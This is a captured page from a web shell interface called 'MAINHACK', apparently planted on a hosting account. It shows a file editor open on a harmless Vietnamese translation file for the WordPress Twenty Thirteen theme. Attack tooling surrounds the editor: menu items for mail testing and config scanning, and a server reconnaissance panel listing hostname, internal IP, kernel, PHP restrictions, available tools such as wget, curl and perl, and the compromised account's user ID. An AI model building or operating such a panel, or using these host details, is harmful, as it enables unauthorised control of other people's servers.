[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: twentythirteen-vi.po
# Translation of Themes - Twenty Thirteen in Vietnamese # This file is distributed under the same license as the Themes - Twenty Thirteen package. msgid "" msgstr "" "PO-Revision-Date: 2026-04-18 07:51:26+0000\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=1; plural=0;\n" "X-Generator: GlotPress/4.0.3\n" "Language: vi_VN\n" "Project-Id-Version: Themes - Twenty Thirteen\n" #. Description of the theme #: style.css #, gp-priority: high msgid "The 2013 theme for WordPress takes us back to the blog, featuring a full range of post formats, each displayed beautifully in their own unique way. Design details abound, starting with a vibrant color scheme and matching header images, beautiful typography and icons, and a flexible layout that looks great on any device, big or small." msgstr "Twenty Thirteen đưa trải nghiệm blog truyền thống trở lại với hệ thống định dạng bài viết đa dạng, nơi mỗi nội dung đều được hiển thị theo phong cách riêng biệt và lôi cuốn. Mọi chi tiết thiết kế đều được chăm chút tỉ mỉ, từ bảng màu (color scheme) rực rỡ, ảnh header (header image) hài hòa cho đến hệ thống phông chữ (typography) và biểu tượng (icons) tinh tế. Với bố cục linh hoạt, giao diện đảm bảo hiển thị hoàn hảo trên mọi thiết bị, giúp blog cá nhân của bạn trở nên đậm chất nghệ thuật và đầy cá tính." #. Theme Name of the theme #: style.css inc/block-patterns.php:20 #, gp-priority: high msgid "Twenty Thirteen" msgstr "Theme 2013" #. translators: %s: The post title. #: comments.php:29 msgctxt "comments title" msgid "One thought on “%s”" msgstr "Một bình luận về “%s”" #: functions.php:171 msgid "Off-white" msgstr "Trắng nhạt" #: functions.php:166 msgid "Beige" msgstr "Xám tro" #: functions.php:161 msgid "Light Brown" msgstr "Nâu nhạt" #: functions.php:156 msgid "Medium Brown" msgstr "Nâu vừa" #: functions.php:151 msgid "Dark Brown" msgstr "Nâu đậm" #: functions.php:146 msgid "White" msgstr "Trắng" #: functions.php:141 msgid "Yellow" msgstr "Vàng" #: functions.php:136 msgid "Light Orange" msgstr "Cam nhạt" #: functions.php:131 msgid "Medium Orange" msgstr "Cam vừa" #: functions.php:126 msgid "Red" msgstr "Đỏ" #: functions.php:121 msgid "Dark Gray" msgstr "Xám đậm" #. translators: %s: Post format name. #: taxonomy-post_format.php:26 msgid "%s Archives" msgstr "%s Lưu trữ" #. translators: Tag title. #: tag.php:24 msgid "Tag Archives: %s" msgstr "Lưu trữ cho từ khóa: %s" #. translators: %s: Search query. #: search.php:21 msgid "Search Results for: %s" msgstr "Kết quả tìm kiếm cho: %s" #: inc/custom-header.php:60 msgctxt "header image description" msgid "Star" msgstr "Ngôi sao" #: inc/custom-header.php:55 msgctxt "header image description" msgid "Diamond" msgstr "Kim cương" #: inc/custom-header.php:50 msgctxt "header image description" msgid "Circle" msgstr "Vòng tròn" #. translators: %s: WordPress version. #: inc/back-compat.php:41 inc/back-compat.php:56 inc/back-compat.php:77 msgid "Twenty Thirteen requires at least WordPress version 3.6. You are running version %s. Please upgrade and try again." msgstr "Giao diện 2013 yêu cầu phiên bản WordPress 3.6 trở lên. Bạn đang sử dụng phiên bản %s. Hãy nâng cấp và thử lại sau." #: image.php:64 msgid "Next <span class=\"meta-nav\">→</span>" msgstr "Tiếp <span class=\"meta-nav\">→</span>" #: image.php:63 msgid "<span class=\"meta-nav\">←</span> Previous" msgstr "<span class=\"meta-nav\">←</span> Trước đó" #: image.php:51 msgid "Full resolution" msgstr "Phân giải tối đa" #: image.php:50 msgid "Link to full-size image" msgstr "Liên kết tới ảnh gốc" #. translators: Hidden accessibility text. #: header.php:28 msgid "Skip to content" msgstr "Chuyển đến nội dung" #: header.php:49 msgid "Menu" msgstr "Trình đơn" #. translators: %s: Post title. #: functions.php:636 msgid "Permalink to %s" msgstr "Liên kết cứng tới %s" #. translators: 1: Post format name, 2: Date. #: functions.php:627 msgctxt "1: post format name. 2: date" msgid "%1$s on %2$s" msgstr "%1$s on %2$s" #. translators: %s: Author display name. #: functions.php:606 msgid "View all posts by %s" msgstr "Xem tất cả bài viết bằng %s" #. translators: Used between list items, there is a space after the comma. #: functions.php:480 msgid ", " msgstr ", " #: functions.php:583 msgid "Sticky" msgstr "Dán" #: functions.php:565 msgctxt "Next post link" msgid "%title <span class=\"meta-nav\">→</span>" msgstr "%title <span class=\"meta-nav\">→</span>" #: functions.php:564 msgctxt "Previous post link" msgid "<span class=\"meta-nav\">←</span> %title" msgstr "<span class=\"meta-nav\">←</span> %title" #. translators: Hidden accessibility text. #: functions.php:559 msgid "Post navigation" msgstr "Điều hướng bài viết" #: functions.php:501 msgid "Newer posts <span class=\"meta-nav\">→</span>" msgstr "Bài viết mới hơn <span class=\"meta-nav\">→</span>" #: functions.php:502 msgid "<span class=\"meta-nav\">←</span> Older posts" msgstr "<span class=\"meta-nav\">←</span> Bài viết cũ hơn" #. translators: Hidden accessibility text. #: functions.php:512 msgid "Posts navigation" msgstr "Điều hướng bài viết" #: functions.php:460 msgid "Appears on posts and pages in the sidebar." msgstr "Hiển thị trên các bài viết và trang tại sidebar." #: functions.php:458 msgid "Secondary Widget Area" msgstr "Widget phụ" #: functions.php:448 msgid "Appears in the footer section of the site." msgstr "Hiển thị tại phần cuối trang." #: functions.php:446 msgid "Main Widget Area" msgstr "Khu vực widget chính" #. translators: %s: Page number. #: functions.php:431 msgid "Page %s" msgstr "Trang %s" #. translators: If there are characters in your language that are not supported #. by Bitter, translate this to 'off'. Do not translate into your own language. #: functions.php:288 msgctxt "Bitter font: on or off" msgid "on" msgstr "Bật" #. translators: If there are characters in your language that are not supported #. by Source Sans Pro, translate this to 'off'. Do not translate into your own #. language. #: functions.php:282 msgctxt "Source Sans Pro font: on or off" msgid "on" msgstr "Bật" #: functions.php:246 msgid "Navigation Menu" msgstr "Thanh điều hướng" #. translators: %s: WordPress #: footer.php:34 msgid "Proudly powered by %s" msgstr "Tự hào được phát triển từ %s" #: content-none.php:32 msgid "It seems we can’t find what you’re looking for. Perhaps searching can help." msgstr "Có lẽ chũng tôi không thể thấy những gì bạn đang tìm kiếm. Bạn có thể dùng tìm kiếm." #: content-none.php:27 msgid "Sorry, but nothing matched your search terms. Please try again with different keywords." msgstr "Rất tiếc, không có dữ liệu nào khớp với từ khóa bạn tìm kiếm. Hãy thử lại với các từ khóa khác." #: content-none.php:12 msgid "Nothing Found" msgstr "Không tìm thấy" #: content-gallery.php:52 content-image.php:48 content-quote.php:38 #: content-video.php:48 content.php:65 msgid "View all % comments" msgstr "Xem tất cả % bình luận" #: content-gallery.php:52 content-image.php:48 content-quote.php:38 #: content-video.php:48 content.php:65 msgid "One comment so far" msgstr "Hiện tại, đã có một bình luận" #: content-gallery.php:52 content-image.php:48 content-quote.php:38 #: content-video.php:48 content.php:65 msgid "Leave a comment" msgstr "Để lại phản hồi" #: content-aside.php:36 content-aside.php:44 content-audio.php:47 #: content-chat.php:45 content-gallery.php:55 content-image.php:51 #: content-link.php:19 content-quote.php:41 content-status.php:35 #: content-video.php:51 content.php:31 image.php:56 page.php:51 msgid "Edit" msgstr "Chỉnh sửa" #: content-aside.php:24 content-audio.php:35 content-chat.php:34 #: content-gallery.php:35 content-image.php:34 content-link.php:35 #: content-quote.php:24 content-status.php:24 content-video.php:34 #: content.php:52 image.php:85 page.php:41 msgid "Pages:" msgstr "Trang:" #. translators: %s: Post title. Only visible to screen readers. #: content-aside.php:17 content-audio.php:28 content-chat.php:27 #: content-gallery.php:28 content-image.php:27 content-link.php:28 #: content-quote.php:17 content-status.php:17 content-video.php:27 #: content.php:45 functions.php:750 msgid "Continue reading %s <span class=\"meta-nav\">→</span>" msgstr "Tiếp tục đọc %s <span class=\"meta-nav\">→</span>" #: comments.php:72 msgid "Comments are closed." msgstr "Không cho phép ghi chú." #: comments.php:67 msgid "Newer Comments →" msgstr "Các bình luận mới hơn→" #: comments.php:66 msgid "← Older Comments" msgstr "← Những bình luận cũ hơn" #. translators: Hidden accessibility text. #: comments.php:63 msgid "Comment navigation" msgstr "Điều hướng bình luận" #. translators: 1: The number of comments, 2: The post title. #: comments.php:35 msgctxt "comments title" msgid "%1$s thought on “%2$s”" msgid_plural "%1$s thoughts on “%2$s”" msgstr[0] "%1$s bình luận cho “%2$s”" #. translators: %s: Category title. #: category.php:22 msgid "Category Archives: %s" msgstr "Chuyên mục lưu trữ: %s" #. translators: %s: Author display name. #: author.php:34 msgid "All posts by %s" msgstr "Tất cả bài viết của %s" #. translators: %s: Author display name. #: author-bio.php:37 msgid "View all posts by %s <span class=\"meta-nav\">→</span>" msgstr "Xem tất cả các bài viết của %s <span class=\"meta-nav\">&rarr</span>" #. translators: %s: Author display name. #: author-bio.php:29 msgid "About %s" msgstr "Về %s" #: archive.php:39 msgid "Archives" msgstr "Lưu trữ" #. translators: %s: Date. #: archive.php:37 msgctxt "yearly archives date format" msgid "Y" msgstr "Y" #. translators: %s: Date. #: archive.php:37 msgid "Yearly Archives: %s" msgstr "Lưu trữ thường niên: %s" #. translators: %s: Date. #: archive.php:34 msgctxt "monthly archives date format" msgid "F Y" msgstr "F Y" #. translators: %s: Date. #: archive.php:34 msgid "Monthly Archives: %s" msgstr "Lưu trữ hàng tháng: %s" #. translators: %s: Date. #: archive.php:31 msgid "Daily Archives: %s" msgstr "Lưu trữ hàng ngày: %s" #: 404.php:22 msgid "It looks like nothing was found at this location. Maybe try a search?" msgstr "Không tìm thấy dữ liệu nào tại đây. Hãy thử tìm kiếm?" #: 404.php:21 msgid "This is somewhat embarrassing, isn’t it?" msgstr "Ngại quá nhỉ?" #: 404.php:16 msgid "Not Found" msgstr "Không tìm thấy" #. Author URI of the theme #: style.css footer.php:31 #, gp-priority: low msgid "https://wordpress.org/" msgstr "https://wordpress.org/" #. Author of the theme #: style.css #, gp-priority: low msgid "the WordPress team" msgstr "Nhóm quản trị WordPress" #. Theme URI of the theme #: style.css #, gp-priority: low msgid "https://wordpress.org/themes/twentythirteen/" msgstr "https://wordpress.org/themes/twentythirteen/"
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm021.cluster127.gra.hosting.ovh.net
Server IP: 10.127.20.21
PHP Version: 8.4.22
Server Software: Apache
System: Linux webm021.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: vcomplcotr
User ID (UID): 38697
Group ID (GID): 100
Script Owner UID: 38697
Current Dir Owner: 38697